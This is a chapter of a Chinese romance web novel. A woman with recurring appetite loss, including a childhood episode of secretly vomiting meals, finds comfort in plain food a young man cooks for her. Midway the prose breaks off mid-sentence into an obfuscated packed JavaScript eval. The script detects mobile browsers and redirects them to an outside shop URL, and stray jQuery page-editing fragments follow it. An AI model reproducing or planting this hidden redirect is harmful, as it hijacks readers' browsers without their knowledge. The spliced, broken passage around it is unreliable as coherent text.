-


    这一场雨，从被单上染了霉渍开始。


    姜知给小床换上备用的被套，发霉的拆下来丢进洗衣机，做完这一系列事就筋疲力尽，蹲在地上动也不想动。


    深呼吸几下，她起身。


    衣服总是晒不干，快饱和的水汽覆在家具表面，镜子上凝了层水雾，需要一遍遍拿纸巾擦干。天色沉郁，空气闷滞，提不起劲。


    她把自己扔在沙发上，按下遥控器，调到天气预报。


    “C市将迎来梅雨季节，本轮降水预计延续至本月底，期间伴有间歇性暴雨，雷电及短时大风。”


    “明天全市中到大雨，局部暴雨，气温20-24，偏南风3-4级，冷暖空气激烈交汇，凌晨至上午可能出现强对流天气，建议随身携带雨具。”


    姜知在主持人字正腔圆声音中放空。


    “咔擦。”咬一口薯片，耳畔传来风吹树叶的沙沙声，是大雨将至的信号。姜知几步并作一步，去把窗户关上。


    可乐打开溅在手边，她吃得很慢，行走在丧失食欲的边界线。这种感觉还挺熟悉，像被拉进了真空塑料袋——二氧化碳就是氧气，氧气变成二氧化碳，世界是一个放大的塑料袋。


    姜知给这个时期取名味觉雨季，小学中二乱取的，觉得贴切就沿用下来。


    随雨季到来，食欲也一起进入雨季。像被绵长的细雨浸透，淡淡的，湿湿的，大部分事情都无趣无聊，无力也无心去做。


    气象台的主持人播到尾声。


    手机铃声划破了屋内的寂静，姜知按下扬声器。


    “最新报告，时屿哥在向我学做饭！”范晓妮的声音传来。


    除玄学大师外，她还有个身份，留学时曾做过一段时间的美食博主。


    这就是个典型反例，传说中的高精力人群。


    姜知的反应比平时慢上半拍，这才听明白范晓妮在说什么，心境有了轻微的波澜。不是气愤，也不是兴师问罪，她还不至于搞“你和我玩就不许和他玩”的小学生技俩。


    薯片的调料味直冲鼻腔，她是联想到了，之前收到的员工餐。


    比起周时屿定的餐，还有另一种情况。


    周时屿做的餐。


    姜知对着窗外，很缓慢地笑了笑。第一想法是恍然大悟，难怪那么一般。


    -


    “哦。”半晌，姜知找回语言功能，攒足精力回了一个字。


    “不得不说做饭还是需要天赋啊，有的人就算努力了但还是不好吃，”范晓妮嚷嚷着，“这种才是最可怕的你知道吗？”


    “哦。”姜知还是说，下巴抵着手机。主持人开始说到“明天同一时间再见”，姜知往后调了个频道，电影台正在播战争片。我方士兵大喊“冲啊”向敌方放炮，发出响彻云霄的——“砰！”


    “但他的需求很奇怪啊。”


    “砰——！”炮火连天，炸飞一个又一个，敌人抱起头逃跑。


    范晓妮的声音艰难地挤进来：“问我怎么做营养餐？谁生病啦？”


    姜知终于把飞到半空中的鬼子关掉。遥远的记忆在脑中苏醒。


    周时屿把饭勺递到嘴边：“只吃薯片的话不健康。”


    “不饿不就行啦？不想吃。”姜知的双唇紧闭着，撇过头。


    她试图伪装成普通的挑食，撒娇卖萌也好，强硬命令也好，看周时屿有生气迹象就亲亲他的手，反正不愿让食物碰到自己。


    周时屿格外坚持，又夹起一块西兰花，“我做得不好吃，但……应该比零食健康一点。”


    她不愿意吃，他也就一直举着，不嫌累似的，变凉了就换一块。这人总在小事上过分执拗，姜知叹了口气，为了结束对峙，偏过头小咬一口。多半会吐，看来这回不能给周时屿面子了。


    蔬菜入口，她痛苦地咀嚼几下。竟然是能下咽的味道。姜知又就着他的手喝了口汤：“你怎么做的？味道还行。”


    周时屿低头翻出菜单，递给她看，色泽鲜艳。姜知看向两模两样的实物和图片：“？”


    “等下……”周时屿也意识到不对，严肃的脸染上薄红，“忘记放调料了。”


    走向厨房的途中，一双手拉住他的袖子，“别，就这样。”


    姜知又挑了块胡萝卜出来。淡淡的甜甜的，反而比被调料腌入味的饭菜更能吃下去，至于原理……她至今也没找到。


    ……


    “姜知！”范晓妮大叫一声，音量直逼刚刚的战场。


    “嗯。”她回过神，电视屏幕上一片漆黑，她看见自己略显茫然的表情。


    “你那边咋回事？先是哪里在放炮，又没声了！”


    “没人生病。”姜知突然说，文不对题。


    “啊？”范晓妮惊讶道，“信号延迟了这么多吗？那先不说了哈。”


    一点点的雨丝变作瓢泼大雨，狂风击打在窗户后沿。C市的梅雨季节，正式开始了。


    而当手边的薯片都食之无味的时候，属于她的雨季同样开始。


    -


    第一次意识到自己有厌食倾向，是在小学。


    姜燕书和于光也用尽了一切办法，软磨硬泡，最后下的通牒是：“饿你几天自己就跑来吃了。”


    “什么啊。”姜知撅起嘴，心里却闪过害怕。


    怎么能一点都不饿呢？这正常吗？


    对小孩来说，除了吃饭睡觉上学很难找到别的固定事件，而突然失去其中一样……并非不饿，胃部的垂坠感仍有，她却发觉挺享受这种不明显的痛感，她不敢和任何人说。


    连姜燕书都没看出异样。


    只是做了一道又一道姜知爱吃的菜：辣子鸡丁、红烧茄子、番茄炒蛋……它们变得陌生。只是被分解成酸甜苦辣咸，游离在味蕾和神经外面。


    那次厌食事件并没有解决。


    她忍住恶心逼自己吞下，假装上厕所去卫生间偷偷吐掉，这样度过了几天。姜知躺在小床上默默地祈祷，快点过去吧，我宁可一星期不去找范晓妮玩。


    窗外没完没了地下着雨。空气闷热，像天空在呜鸣。她不讨厌雨，根本不是雨的问题，一阵难过的空虚从心底漫上来。用力掐了自己一把，才从难过中醒来。


    而食欲恢复也是一瞬间的事，恶心的食物又开始变成香喷喷的佳肴。


    它们分明是同一种东西。


    就连父母也以为她是挑食，看女儿狼吞虎咽时笑着说：“让你挑食，饿了吧？”


    姜知哈哈大笑，咬一口鸡腿。


    恢复食欲的感觉真好，姜知满足地躺在小床上，当晚就做了个梦。


    她漂浮，下落，降落在一座岛上。


    那里无风无雨，正好容纳她的存在。暖烘烘的阳光晒透小小的躯体，生活还是很美好的，对吧？她这样告诉自己。


    -


    生理和心理毕竟不一样。当姜知踏入培训班的门，被一股清新的香味钩住了脚步，没有油和调料喧宾夺主，闻上去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002941|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是食物。


    很难形容什么叫只是食物——酸甜苦辣咸无法概括的香味，很不讲道理地钻进鼻腔。


    教室里格外热闹，平时最活跃的几个人围成一圈，这个说着“不错”，那个说“我尝尝”。


    她站在教室的门口，一眼就看见周时屿的帽子。品尝的人竖起大拇指，包括哪里热闹就往哪挤的高明。


    吐槽高明的一瞬间工夫，周时屿已经出现在了面前。


    他又穿着之前那件黑卫衣，刘海乖顺地搭在额前，把银色保温桶拿过来，语气平稳：“他们说，还可以。”


    姜知走向座位，目不斜视：“谁说可以给谁吃。”


    放下包时，肚子却很不争气地响了一声。


    周时屿将筷子合拢，推到她面前，眼神中带着期许。


    “你做的？”


    “嗯。”他用左手按着饭盒的边沿，指甲修剪整齐，右手藏在衣角边，没有那枚反光的指环，可算摘下来了。


    “干嘛要给我做饭？”姜知问。


    “最近天气不好，我怕你……”话到嘴边停下，把一次性勺子也拆出来，“如果你吃过饭了，或者不想吃，扔了就可以。”


    姜知没吃过饭，也没有不想吃，但她不可能说出来。


    ……


    生理凌驾在了心理之上。不止歇的大雨砸在窗玻璃上，空气是潮腻的，也弥漫着饭香。


    有多久没吃正常的饭菜了？她想不起来了，工作一忙就啃三明治或者面包，下班后去楼下便利店买几串关东煮，泡一桶泡面，便算是晚餐。当姜燕书和于光不再叨叨着“垃圾食品不健康”，垃圾食品就失去应有的概念，只要填满肚子就可以。


    明明成年后已经很少有厌食期。准确来说，是她自己把自己弄成这样。


    打开饭盒，菜，肉，饭，蔬果泥，粗粮，种类不少，姜知吃了一勺。


    明明味道那么普通，但……


    鼻尖一酸，不自觉往嘴里送了一勺又一勺，确实比以前精进不少了，看似简单，其实食材经过叠加设计，紫薯泥、土豆的比例在味蕾上达到平衡。


    竟然有点像躺在儿时的那座岛上，睁眼看着洋洋洒洒的日光。这两者显然很难有所联系，姜知没有继续想下去。


    -


    她不知道，自称鼓励式教育的范晓妮都评价没天赋，又是多没天赋。但饥饿感复苏，往嘴里丢了一片胡萝卜。


    刚刚看见的画面一闪而过，那里不是戒指，是几个创口贴。


    姜知吃饭的手停下。


    像有只手在心上揪了一把，她重新看向这些食物。


    夹起可爱的小狗图案，前面没在意，以为是摸具压的。细看的话，每一片都不一样，小狗有不同的表情，笑着、哭着、摇尾巴…


    绝对不可能是模具。


    哪有模具卖这么粗糙的狗！


    “哦，原来。”高明突然出现在身后，“早该猜到啊，啧啧啧。”


    “有话就说。”姜知很是无语，没事打什么哑谜。


    “哈哈就是，时屿哥可宝贝这一盒了，碰都不让我们碰的。”


    姜知愣住，又听高明问：“这雕的小狗真可爱，你喜欢狗？”


    “我喜…”本该脱口而出喜欢，但听上去像表白似的，她强行改口，“一般吧。”


    我怎么会不喜欢狗，都怪周时屿。她在心里骂。


    高明根本没放在心上，微微一笑，继续跑去别的地方蹭吃蹭喝。